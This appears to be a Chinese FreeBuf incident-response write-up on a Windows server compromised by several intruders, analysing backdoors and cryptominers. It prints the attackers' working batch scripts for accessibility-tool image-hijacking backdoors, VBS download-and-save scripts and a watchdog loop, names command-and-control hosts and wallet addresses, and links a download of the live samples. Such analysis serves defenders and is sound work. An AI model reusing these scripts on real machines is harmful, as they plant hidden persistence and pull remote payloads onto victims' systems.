记一次应急中发现的诡异事件 – 作者:小司马WHY

*本文作者:小司马WHY,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

0x1 事件概述

在一次应急响应中,无意发现来自不同地区和人员的攻击,两种留后门的方法,截然不同的操作,不同的技术手法。

0x2病毒的温床Fonts

fonts目录常被用于藏匿后门的最佳场所

image.png

image.png

image.png

image.png

由于不能直接使用资源管理器进行查看,所以我就选择在dos下打印目录结构进行查看。可以看到这个目录下,有各种各样的“非常规文件”

1.ini-6.ini文件的内容他们是:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [7]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe [19]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [7]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe [19]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [7]

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe [19]

然后我们继续看该目录下的其他文件

哦买噶的,这个老哥一定是个bat狂魔吧,为什么如此任性。

Aa.bat

>>cloud.inf echo.[Version]
>>cloud.inf echo.Signature = "$Chicago$"
>>cloud.inf echo.
>>cloud.inf echo.[Registry Keys]
>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe", 0, "O:BA"
secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.log
del cloud.*
del %0

Aaa.bat

>>cloud.inf echo.[Version] 
>>cloud.inf echo.Signature = "$Chicago$">>cloud.inf echo.>>cloud.inf echo.[Registry Keys]>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe", 0, "O:BA"secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.logdel cloud.*del %0

aodd.bat

takeown /f %SystemRoot%\system32\osk.exe /a
echo y|cacls %SystemRoot%\system32\osk.exe /g Administrators:f
echo y|cacls %SystemRoot%\system32\osk.exe /e /g Users:r
echo y|cacls %SystemRoot%\system32\osk.exe /e /g Administrators:r
echo y|cacls %SystemRoot%\system32\osk.exe /e /d SERVICE
echo Y|cacls %SystemRoot%\system32\osk.exe /e /d "network service"
echo y|cacls %SystemRoot%\system32\osk.exe /e /g system:r
%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\lsass.exe
call %systemroot%\Fonts\Aa.bat
%systemroot%\system32\regini 3.ini
%systemroot%\regedit /s %systemroot%\Fonts\lsass.reg
del %systemroot%\Fonts\lsass.reg
call %systemroot%\Fonts\Ss.bat
%systemroot%\system32\regini 4.ini
del 3.ini
del 4.ini
@del %sfxcmd%
@del "%0" >nul

aodi.bat

takeown /f %SystemRoot%\system32\sethc.exe /a
echo y|cacls %SystemRoot%\system32\sethc.exe /g Administrators:f
echo y|cacls %SystemRoot%\system32\sethc.exe /e /g Users:r
echo y|cacls %SystemRoot%\system32\sethc.exe /e /g Administrators:r
echo y|cacls %SystemRoot%\system32\sethc.exe /e /d SERVICE
echo Y|cacls %SystemRoot%\system32\sethc.exe /e /d "network service"
echo y|cacls %SystemRoot%\system32\sethc.exe /e /g system:r
@echo cd c\:
%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\smss.exe
call %systemroot%\Fonts\AS.bat
%systemroot%\system32\regini 1.ini
%systemroot%\regedit /s %systemroot%\Fonts\smss.reg
del %systemroot%\Fonts\smss.reg
call %systemroot%\Fonts\SY.bat
%systemroot%\system32\regini 2.ini
del 1.ini
del 2.ini
@del %sfxcmd%
@del "%0" >nul

AS.bat

>>cloud.inf echo.[Version]
>>cloud.inf echo.Signature = "$Chicago$"
>>cloud.inf echo.
>>cloud.inf echo.[Registry Keys]
>>cloud.inf echo."MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"
secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.log
del cloud.*
del %0

sql.bat

takeown /f %SystemRoot%\system32\narrator.exe /a
echo y|cacls %SystemRoot%\system32\narrator.exe /g Administrators:f
echo y|cacls %SystemRoot%\system32\narrator.exe /e /g Users:r
echo y|cacls %SystemRoot%\system32\narrator.exe /e /g Administrators:r
echo y|cacls %SystemRoot%\system32\narrator.exe /e /d SERVICE
echo Y|cacls %SystemRoot%\system32\narrator.exe /e /d "network service"
echo y|cacls %SystemRoot%\system32\narrator.exe /e /g system:r
%systemroot%\system32\attrib +s +h +r %systemroot%\Fonts\sqlser.exe
call %systemroot%\Fonts\Aaa.bat
%systemroot%\system32\regini 5.ini
%systemroot%\regedit /s %systemroot%\Fonts\sqlser.reg
del %systemroot%\Fonts\sqlser.reg
call %systemroot%\Fonts\Sss.bat
%systemroot%\system32\regini 6.ini
del 5.ini
del 6.ini
@del %sfxcmd%
@del "%0" >nul

这些批处理都在对注册表进行操作

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

想必大家对这个注册表项应该不陌生,没错就是镜像劫持。

镜像劫持简单的说就是,当你打开程序A,运行的确实程序B。

那么上述的几个文件都劫持了那些程序:

第一个sethc.exe///这个是粘滞键的程序

第二个osk.exe///这个是屏幕键盘程序

第三个narrator.exe///这个是讲述人的程序

那就是说,他们留下的后门,其实有一点没太明白,镜像劫持通常debugger来实现的,应该长这样

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]
"debugger"="c:\\windows\\system32\\calc.exe"

所以说

MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe", 0, "O:BA"
secedit /configure /db cloud.sdb /cfg cloud.inf /log cloud.log
del cloud.*

这个劫持的意思是通过编辑组策略导入cloud.inf到组策略中,然后删除相关记录和日志,转储文件,具体导入了什么组策略我也不太清楚啊

然后我们接找看三个注册表文件

lsass.reg

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe]
"debugger"="C:\\Windows\\Fonts\\lsass.exe"

smss.reg

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
"debugger"="C:\\Windows\\Fonts\\smss.exe"

sqlser.reg

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe]
"debugger"="C:\\Windows\\Fonts\\sqlser.exe"

这三个文件是镜像劫持的正主没错,分别将osk.exe,sethc.exe,narrator.exe劫持到了fonts目录下的lsass.exe,smss.exe,sqlser.exe:

2018c59e591d04f149ffb075abc69e42  lsass.exe

df81d89ae883be710a3b98df8a1aecf0  smss.exe

df81d89ae883be710a3b98df8a1aecf0  sqlser.exe

image.png

image.pngimage.png三个文件均包含自解压脚本命令,不过令我奇怪的是这三个压缩文件都有密码,启动脚本都是启动任务管理器,匪夷所思。

然后该分析conhost.exe这个文件了,左侧为系统文件,右侧为该恶意文件:

image.pngimage.png

不得不承认,这个文件还是想当具有迷惑性的,接下来是这个文件的行为分析阶段。

image.png

杀死任务管理器,杀死rundll32.exe,杀死autoruns.exe,杀死perfmon.exe,杀死procexp.exe,杀死processhacker.exe,修改Fonts目录的属性。

通过杀死安全研究软件,阻止对自身的分析。杀死rundll32.exe应该是杀死别的恶意软件。

image.png

停止服务ServiceSais;

然后删除该服务;

杀死进程KvMonXP.exe,(这玩意好像是江民杀毒的程序);

释放文件KvmonXP.exe;

执行KvmonXP.exe。

image.png

安装ServiceSais服务,执行KvmonXP.exe,传入参数(矿池,钱包地址)

矿池:max.dllhost.host:443

钱包:42SgGCdjazjddK45L9AQGyXwZPh7VRRPW47iWG18uvFdQ7sXMAHgnDd1e8pHdu68AHbSaYo2a7x6QCSRjGeM14oZ1RSLVRi 

>设置服务的显示名

>设置服务描述

>启动服务

svchost.exe这个文件似乎在整个事件中起这不小的作用,接下来我们就看看这个文件的庐山真面目。

image.png

首先这个文件是启动项。

image.png

image.png

这个文件运行的时候会将自己释放到别的目录下,修改文件属性为系统文件,实现隐藏,重命名后,创建服务实现自启动。

image.png

image.png

连接mdzz2018.msns.cn的12596端口。

截至现在,Fonts目录下的文件勉强算是结束了。

0x3玩坏了的VBS

前面的样本中大量使用bat,可以说bat使用手法还算是娴熟,那么下边的样本让我对作者刮目相看。在ProgrameData目录下。

image.png2.vbs

on error resume next 
with wscript:if .arguments.count<2 then .quit:end if 
set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") 
web.open "get",.arguments(0),0:web.send:if web.status>200 then quit 
aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with 

lang.vbs

on error resume next 
with wscript:if .arguments.count<2 then .quit:end if 
set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") 
web.open "get",.arguments(0),0:web.send:if web.status>200 then quit 
aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with 

tao.vbs

option Explicit    
dim wmi,proc,procs,proname,flag,WshShell    
Do  
    proname="lass.exe"  
set wmi=getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")    
set procs=wmi.execquery("select * from win32_process")    
  flag=true    
for each proc in procs    
    if strcomp(proc.name,proname)=0 then    
      flag=false    
      exit for    
    end if    
next    
  set wmi=nothing    
  if flag then    
    Set WshShell = Wscript.CreateObject("Wscript.Shell")    
    WshShell.Run ("c:\ProgramData\lass.exe")    
end if    
  wscript.sleep 1000 '检测间隔时间,这里是50秒    
loop

vget.vbs

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 

可以看到,tao.vbs在不停的循环判断,然后执行lass.exe。

接下来分析一下lass.exe的行为。

释放文件config.json:

image.png

"url": "pool.minexmr.com:7777",

"user": "47CMTqxiPTeZB5dn8DgkPR8ufUA5sbWm1awAAGzAqEcvUzLE7VZZ5eQ1v5ndDyHzYibs6bwa24V2uFaFKLWQW8Wa9nHfU37",

然后随手查了一下这个矿工:

image.png

释放可执行文件并执行:

image.png

创建开机启动项:

image.png

紧接着我们分析它释放的chromes.exe这个文件。

我用沙箱跑了一下,没有发现任何行为,还有壳,不过这个应该是挖矿的主进程,lass是加载器,tao.vbs是守护进程,lass释放配置文件和挖矿主程序进行挖矿:

https://s.threatbook.cn/report/file/f0ad29c7c845689710677de927e4e3ee49054bd19c09710ecef641de34bcd6a6/?env=win7_sp1_enx64_office2013

那么这个目录下的a1.exe,a2.exe,taskger.exe又是做什么的呢?

a1.exe

image.png

a1.exe是一个提权的exp,MS16-032

那么a2.exe呢?

image.pngtaskger.exe

设置自启动,连接到103.248.220.221:8721

image.png

0x4无处安放

除了上述的恶意文件之外,还有一些,我觉得似乎和他们不是一伙的。 从矿池地址可以看出来。

在Fonts目录下比较喜欢使用bat,另外就是有签名,虽然签名不怎么样

在ProgrameData目录下的比较擅长使用vbs,但是文件没有签名,虽然没有签名,却加壳了

剩下的都是零零散散的文件,也不太确定属于哪个系列。

image.png

没错,你没有看错这个就是360会员中心,这个文件看上去似乎是用来读密码的,但是我在我的win7试了,好像不行,难道是权限不足?大家可以研究一下。

win64.exe是一个挖矿程序,下图是win64的静态分析,因为确实必要的文件,所以没法动态分析。

image.png

0x5样本资源

以上所讲到的所有的样本我都上传到了一个云盘,方便大家下载研究。

链接:https://pan.baidu.com/s/1TCmYGguB0aE9J3IIxTBAnQ 

提取码:oaqr 

0x6总结

这台主机似乎被许多人同时光顾,其中使用vbs的哪个大哥应该是国人,频繁使用UPX壳,因为在tao.vbs脚本中,出现了中文,以及两个提权exp,ms16-032,cve-2018-8120

反观使用bat的大哥,镜像劫持,调整组策略,伪装签名,反杀毒软件,反调试,注册系统服务,使用wim持久化。

还有一些零散的文件,360安全中心,win64.exe,应该也是国人留下的吧,比较接地气。

*本文作者:小司马WHY,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

来源:freebuf.com 2019-06-17 11:30:35 by: 小司马WHY

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论